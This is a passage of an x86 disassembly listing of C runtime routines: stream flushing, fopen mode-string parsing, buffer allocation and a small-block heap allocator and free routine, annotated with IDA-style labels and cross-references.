		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4186CB:				; CODE XREF: sub_4186A9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186E0
		push	dword ptr [esi+10h]
		call	sub_41D503
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4186E0:				; CODE XREF: sub_4186A9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E4	proc near		; CODE XREF: sub_415B40+1Ap
					; sub_416E3E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418731
		test	ax, 108h
		jz	short loc_418731
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418731
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41872A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418731
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418731
; ---------------------------------------------------------------------------

loc_41872A:				; CODE XREF: sub_4186E4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_418731:				; CODE XREF: sub_4186E4+14j
					; sub_4186E4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418740	proc near		; CODE XREF: sub_41D17Bp
		push	1
		call	sub_418749
		pop	ecx
		retn
sub_418740	endp


; =============== S U B	R O U T	I N E =======================================



sub_418749	proc near		; CODE XREF: sub_4186A9+Ap
					; sub_418740+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_46A7C0, esi
		jle	short loc_4187A7

loc_41875A:				; CODE XREF: sub_418749+5Cj
		mov	eax, dword_4697A0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41879E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41879E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418784
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41879E
		inc	ebx
		jmp	short loc_41879E
; ---------------------------------------------------------------------------

loc_418784:				; CODE XREF: sub_418749+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41879E
		test	cl, 2
		jz	short loc_41879E
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41879E
		or	edi, eax

loc_41879E:				; CODE XREF: sub_418749+1Bj
					; sub_418749+23j ...
		inc	esi
		cmp	esi, dword_46A7C0
		jl	short loc_41875A

loc_4187A7:				; CODE XREF: sub_418749+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187B2
		mov	eax, edi

loc_4187B2:				; CODE XREF: sub_418749+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187B6	proc near		; CODE XREF: sub_415B96+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jz	short loc_41883F
		cmp	esi, offset dword_4384A8
		jnz	short loc_4187D4
		xor	eax, eax
		jmp	short loc_4187DF
; ---------------------------------------------------------------------------

loc_4187D4:				; CODE XREF: sub_4187B6+18j
		cmp	esi, offset dword_4384C8
		jnz	short loc_41883F
		push	1
		pop	eax

loc_4187DF:				; CODE XREF: sub_4187B6+1Cj
		inc	dword_469674
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41883F
		cmp	dword_46950C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:46950Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418825
		push	ebx
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418825
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418832
; ---------------------------------------------------------------------------

loc_418825:				; CODE XREF: sub_4187B6+4Dj
					; sub_4187B6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_418832:				; CODE XREF: sub_4187B6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41883F:				; CODE XREF: sub_4187B6+10j
					; sub_4187B6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418843	proc near		; CODE XREF: sub_415B96+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41886D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41887E
		push	esi
		call	sub_4186E4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41886D:				; CODE XREF: sub_418843+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41887E
		push	eax
		call	sub_4186E4
		pop	ecx

loc_41887E:				; CODE XREF: sub_418843+10j
					; sub_418843+32j
		pop	esi
		retn
sub_418843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418880	proc near		; CODE XREF: sub_415BC8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_46967C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188B9
		cmp	al, 72h
		jz	short loc_4188B2
		cmp	al, 77h
		jnz	loc_4189CD
		mov	ecx, 301h
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------

loc_4188B2:				; CODE XREF: sub_418880+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188C1
; ---------------------------------------------------------------------------

loc_4188B9:				; CODE XREF: sub_418880+1Dj
		mov	ecx, 109h

loc_4188BE:				; CODE XREF: sub_418880+30j
		or	esi, 2

loc_4188C1:				; CODE XREF: sub_418880+37j
		push	1
		pop	edx

loc_4188C4:				; CODE XREF: sub_418880+8Bj
					; sub_418880+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189B3
		cmp	edx, ebx
		jz	loc_4189B3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418952
		jz	short loc_418942
		sub	eax, 2Bh
		jz	short loc_41892C
		sub	eax, 19h
		jz	short loc_418922
		sub	eax, 0Eh
		jz	short loc_41890D
		dec	eax
		jnz	loc_4189A4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_41890D:				; CODE XREF: sub_418880+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_418922:				; CODE XREF: sub_418880+6Aj
		test	cl, 40h
		jnz	short loc_4189A4
		or	ecx, 40h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_41892C:				; CODE XREF: sub_418880+65j
		test	cl, 2
		jnz	short loc_4189A4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------

loc_418942:				; CODE XREF: sub_418880+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189A4
		or	ecx, eax
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418952:				; CODE XREF: sub_418880+5Ej
		sub	eax, 62h
		jz	short loc_41899F
		dec	eax
		jz	short loc_418988
		sub	eax, 0Bh
		jz	short loc_418971
		sub	eax, 6
		jnz	short loc_4189A4
		test	ch, 0C0h
		jnz	short loc_4189A4
		or	ch, 40h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418971:				; CODE XREF: sub_418880+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_418988:				; CODE XREF: sub_418880+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_41899F:				; CODE XREF: sub_418880+D5j
		test	ch, 0C0h
		jz	short loc_4189AB

loc_4189A4:				; CODE XREF: sub_418880+72j
					; sub_418880+7Bj ...
		xor	edx, edx
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_4189AB:				; CODE XREF: sub_418880+122j
		or	ch, 80h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------

loc_4189B3:				; CODE XREF: sub_418880+4Aj
					; sub_418880+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D55A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189D1

loc_4189CD:				; CODE XREF: sub_418880+25j
		xor	eax, eax
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------

loc_4189D1:				; CODE XREF: sub_418880+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_469674
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_4189EB:				; CODE XREF: sub_418880+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_415BC8p
		mov	edx, dword_46A7C0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A61
		mov	ebx, dword_4697A0
		mov	edi, ebx

loc_418A0C:				; CODE XREF: sub_4189F0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A27
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A22
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A0C
		jmp	short loc_418A61
; ---------------------------------------------------------------------------

loc_418A22:				; CODE XREF: sub_4189F0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A4B
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_4189F0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DC9
		pop	ecx
		mov	ecx, dword_4697A0
		mov	[edi+ecx], eax
		mov	eax, dword_4697A0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A61
		mov	esi, edi

loc_418A4B:				; CODE XREF: sub_4189F0+35j
		cmp	esi, ebp
		jz	short loc_418A61
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_418A61:				; CODE XREF: sub_4189F0+12j
					; sub_4189F0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A68	proc near		; CODE XREF: sub_415DDB+1Fp
					; sub_4174DF+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_469518
		test	eax, eax
		jz	short loc_418A80
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418A80
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_418A80:				; CODE XREF: sub_418A68+7j
					; sub_418A68+12j
		xor	eax, eax
		retn
sub_418A68	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A83	proc near		; CODE XREF: .nsp0:00417B52p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_421174
		test	eax, eax
		mov	dword_46AB20, eax
		jz	short loc_418AB8
		call	sub_418ABF
		test	eax, eax
		jnz	short loc_418ABB
		push	dword_46AB20
		call	dword_421170

loc_418AB8:				; CODE XREF: sub_418A83+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418ABB:				; CODE XREF: sub_418A83+27j
		push	1
		pop	eax
		retn
sub_418A83	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ABF	proc near		; CODE XREF: sub_418A83+20p
		push	140h
		push	0
		push	dword_46AB20
		call	dword_42114C
		test	eax, eax
		mov	dword_46AB1C, eax
		jnz	short loc_418ADC
		retn
; ---------------------------------------------------------------------------

loc_418ADC:				; CODE XREF: sub_418ABF+1Aj
		and	dword_46AB14, 0
		and	dword_46AB18, 0
		push	1
		mov	dword_46AB10, eax
		mov	dword_46AB08, 10h
		pop	eax
		retn
sub_418ABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AFD	proc near		; CODE XREF: sub_415E3D+Ap
					; sub_4174DF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_46AB18
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46AB1C
		lea	ecx, [eax+ecx*4]

loc_418B0D:				; CODE XREF: sub_418AFD+26j
		cmp	eax, ecx
		jnb	short loc_418B25
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B27
		add	eax, 14h
		jmp	short loc_418B0D
; ---------------------------------------------------------------------------

loc_418B25:				; CODE XREF: sub_418AFD+12j
		xor	eax, eax

locret_418B27:				; CODE XREF: sub_418AFD+21j
		retn
sub_418AFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B28	proc near		; CODE XREF: sub_415E3D+16p
					; sub_4174DF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BEE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B80
		mov	[ebp+arg_4], edi

loc_418B80:				; CODE XREF: sub_418B28+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418BAE
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BD2
; ---------------------------------------------------------------------------

loc_418BAE:				; CODE XREF: sub_418B28+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi

loc_418BD2:				; CODE XREF: sub_418B28+60j
					; sub_418B28+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx

loc_418BEE:				; CODE XREF: sub_418B28+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BFC
		push	3Fh
		pop	edi

loc_418BFC:				; CODE XREF: sub_418B28+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418CAB
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C27
		mov	[ebp+arg_4], edx
		mov	ecx, edx

loc_418C27:				; CODE XREF: sub_418B28+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C39
		mov	edi, edx

loc_418C39:				; CODE XREF: sub_418B28+10Dj
		cmp	ecx, edi
		jz	short loc_418CA8
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C6C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C90
; ---------------------------------------------------------------------------

loc_418C6C:				; CODE XREF: sub_418B28+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx

loc_418C90:				; CODE XREF: sub_418B28+11Ej
					; sub_418B28+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx

loc_418CA8:				; CODE XREF: sub_418B28+113j
		mov	edx, [ebp+var_8]

loc_418CAB:				; CODE XREF: sub_418B28+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418CBA
		cmp	[ebp+arg_4], edi
		jz	loc_418D43

loc_418CBA:				; CODE XREF: sub_418B28+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D43
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418D17
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D06
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_418D06:				; CODE XREF: sub_418B28+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D40
; ---------------------------------------------------------------------------

loc_418D17:				; CODE XREF: sub_418B28+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D2D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_418D2D:				; CODE XREF: sub_418B28+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi

loc_418D40:				; CODE XREF: sub_418B28+1EDj
		mov	ebx, [ebp+var_C]

loc_418D43:				; CODE XREF: sub_418B28+18Cj
					; sub_418B28+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E4E
		mov	eax, dword_46AB14
		test	eax, eax
		jz	loc_418E40
		mov	ecx, dword_46AB0C
		mov	edi, dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi
		mov	ecx, dword_46AB0C
		mov	eax, dword_46AB14
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_46AB14
		mov	ecx, dword_46AB0C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_46AB14
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_46AB14
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DCE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_46AB14

loc_418DCE:				; CODE XREF: sub_418B28+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E40
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi
		mov	eax, dword_46AB14
		push	dword ptr [eax+10h]
		push	0
		push	dword_46AB20
		call	dword_421150
		mov	eax, dword_46AB18
		mov	edx, dword_46AB1C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_46AB14
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416490
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_46AB18
		cmp	eax, dword_46AB14
		jbe	short loc_418E32
		sub	eax, 14h

loc_418E32:				; CODE XREF: sub_418B28+305j
		mov	ecx, dword_46AB1C
		mov	dword_46AB10, ecx
		jmp	short loc_418E43
; ---------------------------------------------------------------------------

loc_418E40:				; CODE XREF: sub_418B28+233j
					; sub_418B28+2AAj
		mov	eax, [ebp+arg_0]

loc_418E43:				; CODE XREF: sub_418B28+316j
		mov	dword_46AB14, eax
		mov	dword_46AB0C, esi

loc_418E4E:				; CODE XREF: sub_418B28+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E53	proc near		; CODE XREF: sub_415E07+Ep
					; sub_4174DF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_46AB18
		mov	edx, dword_46AB1C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E93
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418EA3
; ---------------------------------------------------------------------------

loc_418E93:				; CODE XREF: sub_418E53+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_418EA3:				; CODE XREF: sub_418E53+3Ej
		mov	eax, dword_46AB10
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECA

loc_418EB1:				; CODE XREF: sub_418E53+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418EB1

loc_418ECA:				; CODE XREF: sub_418E53+5Cj
					; sub_418E53+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F48
		mov	ebx, edx

loc_418ED1:				; CODE XREF: sub_418E53+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EED
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EEB
		add	ebx, 14h
		jmp	short loc_418ED1
; ---------------------------------------------------------------------------

loc_418EEB:				; CODE XREF: sub_418E53+91j
		cmp	ebx, eax

loc_418EED:				; CODE XREF: sub_418E53+83j
		jnz	short loc_418F48

loc_418EEF:				; CODE XREF: sub_418E53+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418F05
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F02
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418EEF
; ---------------------------------------------------------------------------

loc_418F02:				; CODE XREF: sub_418E53+A5j
		cmp	ebx, [ebp+var_4]

loc_418F05:				; CODE XREF: sub_418E53+9Fj
		jnz	short loc_418F2D
		mov	ebx, edx

loc_418F09:				; CODE XREF: sub_418E53+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418F1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F1B
		add	ebx, 14h
		jmp	short loc_418F09
; ---------------------------------------------------------------------------

loc_418F1B:				; CODE XREF: sub_418E53+C1j
		cmp	ebx, eax

loc_418F1D:				; CODE XREF: sub_418E53+BBj
		jnz	short loc_418F2D
		call	sub_41915C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F41

loc_418F2D:				; CODE XREF: sub_418E53:loc_418F05j
					; sub_418E53:loc_418F1Dj
		push	ebx
		call	sub_41920D
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F48

loc_418F41:				; CODE XREF: sub_418E53+D8j
		xor	eax, eax
		jmp	loc_419157
; ---------------------------------------------------------------------------

loc_418F48:				; CODE XREF: sub_418E53+7Aj
					; sub_418E53:loc_418EEDj ...
		mov	dword_46AB10, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F6F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418FA6

loc_418F6F:				; CODE XREF: sub_418E53+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418FA3

loc_418F8C:				; CODE XREF: sub_418E53+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F8C

loc_418FA3:				; CODE XREF: sub_418E53+137j
		mov	edx, [ebp+var_4]

loc_418FA6:				; CODE XREF: sub_418E53+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FCF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_418FCF:				; CODE XREF: sub_418E53+16Dj
					; sub_418E53+183j
		test	ecx, ecx
		jl	short loc_418FD8
